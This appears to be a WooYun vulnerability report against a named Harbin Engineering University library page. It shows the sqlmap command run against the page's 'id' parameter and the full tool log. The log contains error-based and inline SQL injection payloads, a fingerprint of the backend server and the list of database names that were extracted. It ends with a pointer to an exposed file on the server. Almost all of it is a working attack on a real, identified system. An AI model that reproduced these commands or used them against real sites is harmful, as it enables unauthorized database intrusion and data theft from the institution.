WooYun.org

漏洞地址:http://lib.hrbeu.edu.cn/x/sy_tsjk_jj_yjfk.asp?id=243
D:\Program Files\sqlmap\sqlmap\sqlmap1>sqlmap.py -u "http://lib.hrbeu.edu.cn/x/sy_tsjk_jj_yjfk.asp?id=243" -p id --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user
s assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:12:16
[14:12:17] [INFO] testing connection to the target URL
[14:12:18] [INFO] testing if the target URL is stable. This can take a couple of seconds
[14:12:19] [INFO] target URL is stable
[14:12:20] [INFO] heuristics detected web page charset 'GB2312'
[14:12:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'Microsoft S
[14:12:20] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloa
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] n
[14:12:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:12:38] [WARNING] reflective value(s) found and filtering out
[14:12:38] [WARNING] frames detected containing attacked parameter values. Please be sure to test those separately in c
[14:12:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[14:12:41] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' injectab
[14:12:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[14:12:41] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase inline queries' injectable
[14:12:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[14:12:41] [WARNING] time-based comparison requires larger statistical model, please wait...........
[14:12:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[14:12:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:12:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one oth
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 52 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=243 AND 3757=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(112)+CHAR(116)+CHAR(113)+(SELECT (CASE WHEN (
09)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(119)+CHAR(112)+CHAR(116)+CHAR(113)+(SELECT (CASE WHEN (3728=3728) THEN CHAR(49)
---
[14:13:44] [INFO] testing Microsoft SQL Server
[14:13:45] [INFO] confirming Microsoft SQL Server
[14:13:46] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[14:13:46] [INFO] fetching database names
[14:13:46] [WARNING] the SQL query provided does not return any output
[14:13:46] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switc
[14:13:47] [INFO] retrieved: LIB2011
[14:13:47] [INFO] retrieved: master
[14:13:47] [INFO] retrieved: tempdb
[14:13:48] [INFO] retrieved: model
[14:13:48] [INFO] retrieved: msdb
[14:13:48] [INFO] retrieved: ReportServer
[14:13:49] [INFO] retrieved: ReportServerTempDB
[14:13:49] [INFO] retrieved: LIB2011
[14:13:49] [INFO] retrieved: LIB110
[14:13:50] [INFO] retrieved: Lib00
[14:13:50] [INFO] retrieved: menjinbakup
[14:13:50] [INFO] retrieved: libjtbc
[14:13:52] [INFO] retrieved:
available databases [11]:
[*] Lib00
[*] LIB110
[*] LIB2011
[*] libjtbc
[*] master
[*] menjinbakup
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
还有一个文件http://lib.hrbeu.edu.cn/123.txt